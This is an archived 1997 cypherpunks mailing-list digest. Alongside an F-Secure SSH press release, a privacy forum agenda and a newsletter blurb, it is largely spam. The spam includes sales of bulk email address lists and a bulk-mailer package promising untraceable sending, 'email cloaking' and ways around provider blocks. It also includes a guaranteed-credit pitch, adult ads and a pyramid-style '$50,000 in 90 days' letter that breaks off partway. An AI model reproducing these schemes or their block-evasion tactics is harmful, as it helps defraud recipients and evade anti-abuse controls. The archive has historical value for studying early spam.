From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elisabeth Grace Baker <Elisabeth.Baker@DataFellows.com>
Date: Fri, 13 Jun 1997 00:22:19 -0700 (PDT)
To: F-Secure-press-us@DataFellows.com
Subject: Press release: F-Secure SSH for ISPs !
Message-ID: <3.0.1.32.19970613091009.009abaa0@194.197.29.10>
MIME-Version: 1.0
Content-Type: text/plain


- Data Fellows announces F-Secure SSH for Internet Service Providers

- Telecom Finland the first ISP to integrate strong encryption with
commercial Internet services 

Here is the latest press release regarding F-Secure SSH for ISPs -- 
the file is available from the Data Fellows ftp server as 
\partner\f-secure\marketng\presskit\sshtelec.zip
(Also available from N: as file:N:\DF\Press-Releases\f-secure\SSHtelec.rtf)

Enjoy!

Best regards,
Elisabeth Baker

-----------------------------------------------------------------

 Elisabeth.Baker@DataFellows.com            Tel +358 9 478 44551
 International Publication Coordinator      GSM +358 50 560 6350
 Data Fellows Security Software             Fax +358 9 478 44599

          Päiväntaite 8 * 02210 Espoo * Suomi - Finland
          kotiosoite: 24º55'21" E and 60º11'09" N  -smm
                   http://www.DataFellows.com
-----------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jukka Kotovirta <Jukka.Kotovirta@DataFellows.com>
Date: Fri, 13 Jun 1997 03:57:29 -0700 (PDT)
To: F-Secure-press-us@DataFellows.com
Subject: Data Fellows announces F-Secure SSH for Internet Service Providers
Message-ID: <2.2.32.19970613100856.008e06a0@smtp.datafellows.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3963.1071713711.multipart/mixed"

--Boundary..3963.1071713711.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Data Fellows Inc.		Press Release


FOR IMMEDIATE RELEASE
June 13th, 1997

Data Fellows announces F-Secure SSH for Internet Service Providers

Telecom Finland the first ISP to integrate strong encryption with commercial
Internet services 

Helsinki, Finland -  Data Fellows, the leading Internet security solutions
provider, announced today a new version of their popular F-Secure SSH
product, setting a new level of security for Internet Service Providers (ISPs).

F-Secure SSH for ISPs gives the customers of an Internet Service Provider
unmatched security by using the SSH security mechanism. The SSH protocol is
currently being standardized by the IETF (Internet Engineering Task Force)
as an application-level security mechanism to be used in conjunction with
Internet protocols. SSH is already widely used by security-conscious
organizations around the world.

The first user of F-Secure SSH for ISPs is Telecom Finland, who bundle the
product with their Internet services. "Since we are the leading
telecommunications operator in Finland,  we need to assure that our services
are reliable and data security maintained at a high level" says Mr. Harri
Johannesdahl, Director of Internet Services, Telecom Finland. "Good security
features also help us maintain our leading edge in this highly competitive
market."

The F-Secure product line offers strong end-user authentication and
encryption of any transferred data. Because the technologies are of European
origin, they are not limited by U.S. Export control. Internet Service
Providers around the world can now add strong security to their product
offering.

"Our F-Secure line of products guarantees ultimate security on the Internet.
Now companies can use the Internet as a serious business tool without the
fear of compromising their corporate assets because of any lack of
security",  explains Mr. Risto Siilasmaa, CEO of Data Fellows Inc. "Also
private Internet users will benefit from this development."

The authentication of users dialling in is done with cryptography, making
management and access control much easier to arrange on a large scale.
Dialling in can be done through any network structure, including the
Internet itself, facilitating Internet roaming. 

"Internet users will gain immediate benefit from F-Secure products. And the
emerging concept of 'extranets' between companies cannot launch safely
without strong authentication and encryption mechanisms", concludes Mr.
Siilasmaa.


Data Fellows company background

Privately owned Data Fellows is the leading technology provider of data
security solutions for computer networks and individual desktop computers.
The F-Secure product family offers protection for sensitive communications
over TCP/IP networks in Windows, Macintosh and UNIX environments. The family
includes products for the creation of strongly encrypted virtual private
networks (F-Secure VPN), secure electronic commerce solutions (F-Secure
Commerce) and secure files and folders on the local PC using strong
encryption (F-Secure Desktop). The F-PROT product is the industry's leading
virus protection software. These products are available world-wide in more
than 40 countries through Data Fellows and its business partners. 

See http://www.DataFellows.com for more information.

Contact information

Europe:	                               USA:
Data Fellows Ltd.	               Data Fellows Inc.
Päiväntaite 8	                       4000 Moorpark Avenue, Suite 207
FIN-02210 ESPOO, FINLAND	       San Jose, CA 95117, USA
tel. +358 9 478 444	               tel. (408) 244 9090
fax +358 9 4784 4599	               fax (408) 244 9494

http://www.DataFellows.com
email: F-Secure-Sales@DataFellows.com
 


RTF file

----------------------------------------------------------------------------
Jukka Kotovirta                             Tel      +358 9 478 444
Director OEM Sales & Major Accounts         Fax      +358 9 4784 4599
Data Fellows Ltd. 		            Mobile   +358 405 883 933
 
Paivantaite 8 		                    Jukka.Kotovirta@DataFellows.com
02210 Espoo			            http://www.DataFellows.com/
Finland, Europe            
----------------------------------------------------------------------------

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--Boundary..3963.1071713711.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Fri, 13 Jun 1997 15:09:51 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: SSA Privacy Forum 6.16.97
Message-ID: <v03102809afc771f3f32d@[204.91.138.250]>
MIME-Version: 1.0
Content-Type: text/plain



              Social Security Administration Forum
         Privacy and Customer Service in the Electronic Age

                    Monday, June 16, 1997

                  Georgetown U. Law Center
                      Moot Court Room
                   600 New Jersey Ave. NW
                    Washington D.C. 20001


Agenda:

WELCOME

12-12:15 pm

        Welcome by Marc Rotenberg, Director,
        Electronic Privacy Information Center and
        Professor, Georgetown Law University

        Introduction of Dr. John J. Callahan,
        Acting Commissioner of the Social Security Administration

PANEL #1 PRIVACY EXPERTS AND CONSUMER ADVOCATES 12:15-1:15 pm

        Leslie Byrne, Special Assistant to the President, and
        Director, U.S. Office of Consumer Affairs

        Harry Hammitt, Editor and Publisher,
        Access Report Newsletter

        Evan Hendricks, Editor and Publisher,
        Privacy Times and Chairman, U.S. Privacy Council

        Sally Katzen, Director, Office of Information
        and Regulatory Affairs, Office of Management and Budget

        Deirdre Mulligan, Staff Counsel, Center for
        Democracy and Technology

PANEL #2 COMPUTER TECHNOLOGY EXPERTS 1:30-2:15 pm

        Edward G. Amoroso, Technical Manager, AT&T Laboratories

        Michael Angelo, Principal Member, Technology Staff,
        Compaq Corporation

        Dorothy E. Denning, Professor of Computer Science,
        Georgetown University

        David P. Jablon, Software Engineer and Cryptographic
        Specialist, Integrity Sciences, Inc.

        George Spix, Chief Architect Consumer Platforms Division,
        Microsoft Corporation

PANEL #3 INTERNET COMMERCE, BANKING AND FINANCIAL PLANNING EXPERTS

2:30-3:15 pm

        Mark Greene, Vice President, Electronic Payments and
        Certification, IBM Internet Division

        Russ Housely, Chief Scientist, Spyrus, Inc.

        Charles Merrill, Partner, McCarter & English Law Firm

        Jahan Moreh, Chief Security Architect, Open Horizon, Inc.


PUBLIC COMMENT PERIOD - 3:15 pm

Members of public who have registered may
speak for 4 minutes. The panel may ask
questions following each individual's
testimony, if desired.


CLOSING REMARKS - 4:30 pm

For more information and directions, see:

    http://www.ssa.gov/forums/washingtondc.htm

More information on EPIC is available at

    http://www.epic.org/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 52622216@compuserve.com
Date: Sun, 15 Jun 1997 14:41:49 -0700 (PDT)
To: 110074.3669@compuserve.com
Subject: THE BEST DEAL AROUND.... PERIOD!
Message-ID: <1233021673627.GAA08056@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


{Removal instructions at bottom... }


 <><><>  Attention Internet Marketers ... Look no further.  <><><>

 30 (thirty) MILLION PLUS E-MAIL ADDRESSES - ONLY US$149!


(Please Note: Introductory offer - we encourage you to act soon.)


WorldWide Marketing Group is pleased to finally offer to the direct marketer,
the culmination of its intensive 6 month long project in compiling the single
largest e-mail address list available anywhere - over 30 million e-mail
addresses free of duplicates, one per line and alphabetically sorted - for
only US$149! This is for real... there is NO catch!

This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft
Network and general Internet addresses, is split into 120 easily manageable
ZIP files (unzip utilities included on CD) of 250,000 addresses each and is 
delivered to you on CD-ROM via regular mail. Sorry, but the sheer size of this
list makes it unfeasible to deliver via diskette or allow downloading via FTP.

The address files themselves consist of 1 address per line and are in 
standard ASCII text format - ready right away for use with any of the 
popular bulk e-mail packages available today.

Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO
trailing or embedded white noise characters, NO garbage addresses with more
than one '@' character, NO embedded parentheses '(' or ')', NO 'Postmaster'
addresses, NO addresses beginning with non-valid characters (..addresses must 
begin with 0-9 or a-z), and all are in lower-case.

The list itself is *not* categorized or targeted by any geographic 
region or demographic in any way. It is simply a HUGE general list 
sorted in alphabetical order for the best price on the internet!

Indeed, this is absolutely the *best* offer around for the direct marketer,
and will finally put the little guy on even ground with even the biggest
bulk e-mailers!

Bulk e-mail is still in its infancy and is the new wave in cost-effective
global marketing. This huge list offers a whole world of vast potential sales
for you and your products - get on board now before you find yourself left
behind. We wish you success and we'll see you at the top!


To order in a secure fashion online via credit card (VISA/MasterCard/AMEX) 
just go to:

http://americapro.com/worldwide/

Or to order via regular mail, please send bank draft, money order (..sorry,
no personal or business cheques please) or your credit card information to:

                           
                        Worldwide Marketing Group
                                  Box 48029
                                  Bedford, NS
                              Canada B4A 3Z2


(Please allow up to 1.5 to 2 weeks for delivery.)

Thank you very much and sorry for the intrusion...


Sincerely,
   Worldwide Marketing Group
   worldwide@writeme.com
   worldwide@savetrees.com

   (for fastest response, send message to both)


P.S: If you have received this message more than once, we apologize.
        Our mail program accidentally deleted our remove list. For
        removal from any future mailings, please send an e-mail with REMOVE
        in the subject field to : 

sandk@answerme.com

        We regret that we are unable to supply a telephone
        contact number. Due to the harassing calls  we have
        received from anti-bulk e-mailers, we must withhold our 
        phone number. We apologize for the inconvenience.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "submitking" <submitking@[205.199.2.191]>
Date: Mon, 16 Jun 1997 05:06:43 -0700 (PDT)
To: "Info" <submitking@submitking.com>
Subject: Congratulations!  We found your website!
Message-ID: <199706161206.FAA01872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 16 Jun 1997 19:21:00 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: High-Class Hoards
Message-ID: <199706161051.LAA19231@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week in the award-winning Shift Control...

The Hoarding Issue

"Nowadays Charles Saatchi buys up entire shows of new talent in 
the Young Brit Art pack. Recently he bought nearly all the Chapman 
brothers' disturbing child mannequins with penises and anuses in 
peculiar places. And the whole of the Martin Maloney show, 'Die 
Yuppie Scum'. I imagine his art depository must be as big as an 
out-of-town IKEA store, with fork-lift trucks whizzing around it 
and people with clipboards checking stock." - Professor Lisa Jardine 
on art collectors, the ultimate hoarders.

"Mum keeps throwing more and more pairs of shoes into the black 
hole at the bottom of her wardrobe, never to be seen again, even 
though she might only have worn them once. This shoe fixation is a 
trait the rest of the family seems to have inherited. Normal kids 
inherit eye colour from their parents; we all got the urge to stash 
flip-flops." - Emma Caldwell on growing up in a house of maniacal 
hoarders.

"Charlie describes himself as a 'guardian of logic'. 'I've seen some 
super-open people, into Buddhism and Feng shui and geomancing. But 
that,' says Charlie, nodding towards the hoard of jumble, 'is an 
ecclesiastical anathema, trying to combine all things, all religions 
together.'" - Shift Control rumbles through jumble and finds a 
philosopher in the closet.

Plus: The Shift Control Gallery, the world's first bionic bee, and 
a chance to win 200 smackers in our short story competition. All 
waiting for you NOW at 
http://www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Grayson <plmojigyrud@aol.com>
Date: Tue, 17 Jun 1997 11:09:26 -0700 (PDT)
Subject: Tired of Not Making Money on the Internet?
Message-ID: <0aa165447011167NIH2WAAF@csi.com>
MIME-Version: 1.0
Content-Type: text/plain


ROCKET Your Way To Wealth In Cyberspace


E-mail has proven to generate more response than any other form of communication. 

A Web site alone, posting through newsgroups and registering with a few search engines while placing a few classifieds just won't work.  What good is a Web page no one knows is there? 

Using Mass e-mail provides great rewards for very little effort, time or money  IF  YOU KNOW what you're doing.  
If you don't know what you're doing, This is what will happen:

Your Internet provider will SHUT YOU DOWN..
Your 800 phone bill WILL SOAR with nuisance calls.
Your e-mail box will EXPLODE with mail bombs.

It's not worth it to learn the hard way.

Capitalize on the failures of your competitors to identify and continuously reach the TRUE online consumers.  Get everything you need to know and use to produce MEGA INCOME ONLINE.

Why is it anyone who has ever used Floodgate,E-mail Magnet, NetContact or Lightening Bolt for on-line marketing been so disappointed with the results?

If you use any one of these programs with an ISP that frowns on Mass e-mail you are guaranteed to lose your account in a very short time.  What good are bulk email programs if you can't find a provider that will allow you to mass mail? Every one of these programs extract the same addresses from the same sources.  

If everyone's hitting the same prospects over and over, is it any wonder they get upset? 

UNTIL NOW, the 1000's of user's you really want to target have thus far gone un-noticed.  These are the users that are not active posting in the newsgroups and/or online classifieds.

Send your own bulk email to thousands of people, FOR FREE!

The complete BULKMAN-PRO Mailer Package comes with everything you need to  change your life.  There is nothing further to purchase.

BULKMAN PRO is compatible with Windows 3.1, Windows 3.11, Windows NT, and Windows 95.  All you need is an Internet connection.  Most online services or internet providers charge nothing to send e-mail.  Send your letter to 10,000 people or 100,000 people - the cost is always the same.  Nothing!

While the misinformed continue using such programs as Pegasus for sending mass e-mails to the same old prospects,  you'll be using BULKMAN-PRO to e-mail 16,000 + per day that are new and never have received mass email before.  Do you really have the time or desire to try and figure this out for yourself?

Stripping addresses yourself using the old methods is a time consuming, boring affair. You may see others shouting promises of how easy their program is, BUT while your competitor is actually mailing out their sales letter  you're  EITHER still stripping or stuck in the "I'll get to it" syndrome! 

If you buy and use any bulk e-mail list you will also get flamed, and/or mail bombed.  Your account will still be terminated.  These list are filled with traps, sysops, education, government and non-profit organizations just waiting to shut you down or post "Net Abuse" articles about you. Just because virtually every list is taken from names in newsgroups that are totally inappropriate to your product or service.  So, what seems like a bargain for $30 or $50 for a so-called million e-mail addresses will turn out to be a nightmare before it's over.

Learn how to create all the email addresses you will ever need on the fly without having to buy them or extract them from newsgroups, forums, membership directories, whatever - 100% deliverable too!  Push a button and have 100,000 addresses in no time.

Learn to identify All new users to the on-line world and email them before they leave (AND before anyone else could uncover them).

Keep your email address totally UNTRACEABLE!!!!  That's RIGHT - you will be able to mass e-mail without getting your account terminated.

Using the X-15 Rocket Mailer with the Bulk E-Mailer Tools & Guide will change your life.  The X-15 Rocket Mailer will enable you to sell like you've never sold before.  No other program even comes close to the successs you will find using the X-15.  Move light years ahead of the competition using the Bulk E-Mailer Tools & Guide.

WHAT YOU WILL RECEIVE WITH BULKMAN PRO

Bulkman Pro offers the following applications for the serious marketer who
isn't interested in "bulk hype"; just a serious application for making
serious money:

  CSAG address generator for generating thousands of addresses in minutes of
brand new members. No need to go hunting them down and extracting them from
online sources. On the average I can generate 5,000 100% deliverable
addresses of brand new members that NO ONE has mailed to in 5 minutes a
evening. Don't e-mail asking me how that is possible, I won't share the nuts
& bolts of it. This is a closely guarded trade secret that only is disclosed
to purchasers (I won't even allow images of it).

  X-15 mail system. X-15 not only sends your mail very quickly and easily,
it also will post messages to any number of selected newsgroups. If that
isn't enough, it will even extract addresses from any number of selected
newsgroups right off your host news server just like NetContact. You can
select to exclude any type of addresses from being captured very easily.

X-15 also has built in "Email Cloaking" to allow you to use your own local
ISP for sending your mail with, avoiding having to search for bulk friendly
ISP's or other undesirable means to accomplish mass mailings. Click here to
view X-15.

  ELM is a Email List Manager that will allow you to easily manage all your
lists with just your mouse. Here is some of the tasks accomplished by ELM:

   * 1) Compare and remove differences between any two lists.

   * 2) Merge any kind and number of lists and will auto sort and remove
     duplicates quickly.

   * 3) Split any list into smaller list.

   * 4) Generate targeted lists that matches your target audience to use
     with X-15 in mailing your message to.

   * 5) Generate AOL addresses from captured AOL chat rooms. AOL has over
     300,000 new members signing up a month, there is no other way of
     obtaining all these new members addresses than this. Using any other
     bulk mail program would only yield 5% of these new members!

   * 6) Auto extract 'remove' requests.

Complete users guide to help walk you along step by step in a hyper-link style format along with useful bonus software. Learn how to send mass e-mail ll the time without hassle and needing to join a service and for free if you wish. How to get around online services domain blocks so that all your
e-mail is assured of being delivered.

You will also receive software as a means to link you up to a mail gateway so that you can start sending mail thru right away without delay at
no cost or sign-up requirements if you so choose to use this option. You can
then securely send mass mail and post newsgroup messages anonymously. What a
deal!

If you are going to make MEGA Income in this business, there is only one way
to do it; and ONLY one way. I will reveal to you the right way so you can
stop doing it the wrong way. Let the competition continue doing it the old
way so you can cash in on their ignorance. You will NOT find this
information anywhere else. It is extremely confidential. You will be asked
to sign a non-disclosure with your order to prevent the disclosure of this
information.

If you are currently happy with your e-mail marketing, then it makes even
more sense to use this program to compliment your existing marketing to
maximize your marketing efforts because there is simply nothing like this!


BULKMAN-PRO was designed to sell for $1695.95
It is a Professional Bulk E-mail system.

Order within 10 days from the date on this message and you get:

The X-15 Rocket Mailer		Retail	$499.00
CSA Address Generator				$395.00
AOL Address Generator				$495.00
Bulk E-mail Tools & Guide				$299.00


Get the COMPLETE package for a INTRODUCTORY Price of $499.95 plus $3.50 Shipping & Handling.  All orders received after the tenth day following the date on this MESSAGE will be charged the normal discounted rate of $699.95 plus $3.50 Shipping & Handling

Also included if you order within the next 10 days:
BONUS*** FREE Newsgroup Posting device which allows you to
         post 1 or 1,000 newsgroups at once.
         FREE Bulk E-mail Extractor that allows you to                       	    extract e-mail addresses from the Internet.

SAVE $200 -  ORDER today!

Take Advantage of the 10 DAY DISCOUNT SPECIAL!

The BULKMAM PRO comes with a 100% UNCONDITIONAL MONEY BACK GUARANTEE.   You have everything to GAIN and NOTHING to lose!  

FOR YOUR CONVENIENCE WE ACCEPT ALL FORMS OF PAYMENT
CASH, CHECK, M.O., CREDIT CARD, CHECKS BY FAX, PHONE OR E-MAIL.

MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE

BULKMAN PRO is the complete Internet Business in a Box.

ROCKET YOUR WAY TO WEALTH IN CYBERSPACE!

NON-DISCLOSURE

I Agree not to reveal, make available the information I am to receive from Jim Smyser to anyone.  This information is confidential, and I hereby agree to keep it strictly confidential and to myself.

Signature: ____________________________________

GUARANTEE:  YOU HAVE A LIMITED 10 GRACE PERIOD in which you can return your purchase for full refund if it does not meet your requirements.  After 10 days there are no refunds.  Please understand this policy before ordering.

TO GUARANTEE YOU GET THE INTRODUCTORY PRICE
PLEASE INCLUDE A COPY OF THIS MESSAGE AND DATE RECEIVED.

(Name)_________________________________________
(Address)______________________________________
(City, State & Zip)____________________________
e-mail address ________________________________
WE ACCEPT CHECKS OVER THE TELEPHONE, OR BY FAX
for your orders.  
Fax your order to: 213-737-1497
Enclosed is a check for $___________
Check Ordering Info:
MAKE ALL CHECKS PAYABLE TO: PHOENIX INTERACTIVE
Name (exactly as it appears on check
_______________________________________
Check #				Dollar Amount
________________ 		$________________
Telephone #
__________________
Bank Name:
_____________________
Bank Address
______________________________________________
Numbers at Bottom of Check(read from left to right, please indicate blank spaces with a space:
________________________________________________
 
Charge My
(VISA) or (MASTERCARD) or (AMEX)
Number _ _ _ _ -_ _ _ _ -_ _ _ _ -_ _ _ _ 
Expiration Date _____    Approved ______________    
(card holder)  Credit Card orders call
1(213)-737-1494 

DISTRIBUTORS:

Snail mail Address 
Phoenix@Global Enterprises			Global Enterprises
P.O. Box 88506				7025 OldTrail Road Los Angeles, CA  90009	                                Suite9178	
		                                                Fort Wayne, IN                                                                                      46899

ANOTHER PHOENIX @ GLOBAL ASSOCIATION


 







 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 2m@allvip.com
Date: Mon, 16 Jun 1997 19:25:03 -0700 (PDT)
To: 2m@allvip.com
Subject: Get 2 Million FLAMEPROOF Email Addresses - ONLY $99 - ALL DELIVERABLE
Message-ID: <199706170213.WAA00248@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


    * To Remove:  Please hit reply & type "remove" in the subject

< <> >   Get 2 Million Flameproof Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
        *   Visa  &  Mastercard  Welcome   *   No Waiting Time!   *   Get Started NOW!  *
   Email:  2mil@allvip.com                                       Targeted to General Business & More
                All deliverable - Guaranteed - We replace your undeliverables!
 All addresses processed against a very extensive database of "remove" requests.
 Totally Flameproof  - When you order Now, we will give you an  EXCELLENT and 
           AFFORDABLE  ISP  that welcomes unsolicited bulk email!

    This offer is for 2 days Only!  Plus you will be immediately eligible for 
    Exclusive Direct Wholesale Offers for all of your marketing needs!  
    Immediately obtain this offer NOW & get started TODAY!
    For your << automatic  >> Order Form:    Email:   2mil@allvip.com

    * To Remove:  Please hit reply & type "remove" in the subject

ml3






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: constitution99@hotmail.com
Date: Mon, 16 Jun 1997 23:40:43 -0700 (PDT)
To: american@home.com
Subject: Need Your Immediate Help To Stop Censorship by FCC's Reed Hundt
Message-ID: <201702369932.CIA87782@constitution99.com>
MIME-Version: 1.0
Content-Type: text/plain




TO THE INTERNET COMMUNITY

Need your help before June 19th

Rogue FCC (AKA FEDERAL CENSORSHIP COMMISSION) --  Chairman Hundt 
has put his sights on the 1st Amendment.  Seems free speech is inconvenient for him.   
Hundt trying to ban liquor, a legal product, advertising on TV.Makes no sense.  
Commissioners Quello and Chong telling Hundt to get lost. 
Give them your support.  Need to hear from you by June 19th.  Copy
E-mails to the addresses listed below:
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
stopcensorship@juno.com


Censorship is alive-and-well in the good ol' U.S. of A.  Reed Hundt,
Chairman of the Federal Communications Commission wants to make it the
FEDERAL CENSORSHIP COMMISSION.  Hundt wants to ban liquor, a legal
product, advertising on TV.  Only good Americans can  reign in Hundt.
Help us to stop censorship. Let the Hundt and other FCC Commissioners
and the White House know your concerns.  Copy E-mails to the addresses
listed below: 
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
freespeech1@juno.com


Renegade federal regulator - FCC's Reed Hundt - trying to ban liquor
advertising on TV.  What's the difference between beer, wine and liquor?
None.  Let Hundt and other FCC Commissioners and White House know what
you think - copy e-mail to:  
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
stopcensorship@juno.com


Right to free speech?  Renegade federal regulator - FCC's Reed Hundt -
says only beer and wine companies have right to advertise on TV.  Hundt
is trying to ban liquor advertising on TV.  Protect free speech, let FCC
and White House know what you think - copy e-mail to:  
rhundt@fcc.gov
rchong@fcc.gov
jquello@fcc.gov
president@whitehouse.gov
vice.president@whitehouse.gov
freespeech1@juno.com













ymr - massmail




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EZCREDIT4U@savetrees.com
Date: Mon, 16 Jun 1997 21:13:39 -0700 (PDT)
To: EZCREDIT4U@savetrees.com
Subject: !! Guaranteed $10,000 In Credit Within Days!
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain


!! Guaranteed $10,000 In Credit Within Days!    96% Success Rate
Bad credit-no credit-low income-bankruptcy-divorce? No problem.
WORLDWIDE ACCEPTANCE. NO SECURITY DEPOSIT. UNIQUE. PROVEN. CASH
ADVANCES. BE SMART. WHAT'VE YOU GOT TO LOSE? (NOTHING). ACT NOW.
For FREE INFO (autoresponder) send email to ezcredit@answerme.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
To: buy.balls@lower.prices
Subject: About Golf Balls
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paula <renhoek@1stfamily.com>
Date: Wed, 18 Jun 1997 23:52:51 -0700 (PDT)
To: Friend@public.com
Subject: Adult Advertisement - Check It Out!
Message-ID: <199706190659.CAB11792@199706190659.CAB11792>
MIME-Version: 1.0
Content-Type: text/plain


The following is a message of adult nature.  Please do not read further if you are offended by such.

You must be atleast 21 to access the following web page!

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011-592-583-453 to talk to HOT WOMEN or
011-592-583-426 to talk to HOT MEN!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anne <mknjbhvgcfd@aol.com>
Date: Wed, 18 Jun 1997 22:37:41 -0700 (PDT)
Subject: Can You Handle $50,000?
Message-ID: <00dcd2810061367NIH2WAAF@csi.com>
MIME-Version: 1.0
Content-Type: text/plain



<HTML><PRE></P><P ALIGN=CENTER><FONT  COLOR="#000000" SIZE=3><B>CAN YOU HANDLE $50,000?</B>


</P><P ALIGN=LEFT>First, please accept my apology if this was sent to you in error!


You could possibly make at least $50,000 - In less than 90 days! Read the enclosed program ....<B>THEN READ AGAIN</B>....


The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave it serious thought and study to it. So glad I did! Here's my story!


My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER .... FINANCIALLY!!!!!!!


In mid-December, I received this program via email. Six months prior to receiving this I had been sending away for information on various business opportunities. All the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year ..... it didn't tell me I'd have to write a book to make it.


But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determning that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".


Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY. RELAX, YOU WILL MAKE YOUR $50,000 GOAL".
